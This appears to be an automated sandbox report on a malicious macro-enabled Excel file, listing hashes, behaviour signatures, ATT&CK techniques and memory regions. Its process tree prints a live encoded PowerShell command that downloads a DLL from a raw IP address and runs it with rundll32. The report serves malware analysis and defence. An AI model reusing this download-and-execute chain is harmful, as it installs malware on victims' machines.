Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    21-10-2021 15:12

General

  • Target

    RNP-00152.xlsm

  • Size

    87KB

  • MD5

    7ac2366ab4515b9f37be3187deea9bc0

  • SHA1

    c4cee812f0fb97c510e149a28c1a55b6c5da2c9e

  • SHA256

    0b149fc1f48da1d2c02d778be120427483403cd7519fc7f69e741288b120cb9d

  • SHA512

    db221383ef594bb4b2be2fac9a33f465dac8cdaaf4aafa8b376e57ef5ab337c596379100972c9809d79a5ad8293b2a1294308a23b0ee22512aa474f8d0e7fe7e

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\RNP-00152.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:944
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:668
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2004
      • C:\Windows\SysWOW64\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
        3⤵
          PID:1416

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/668-58-0x0000000000000000-mapping.dmp
    • memory/944-55-0x000000002FD21000-0x000000002FD24000-memory.dmp
      Filesize

      12KB

    • memory/944-56-0x0000000071AB1000-0x0000000071AB3000-memory.dmp
      Filesize

      8KB

    • memory/944-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/944-64-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1416-62-0x0000000000000000-mapping.dmp
    • memory/2004-59-0x0000000000000000-mapping.dmp
    • memory/2004-60-0x0000000076241000-0x0000000076243000-memory.dmp
      Filesize

      8KB

    • memory/2004-61-0x0000000002350000-0x0000000002F9A000-memory.dmp
      Filesize

      12.3MB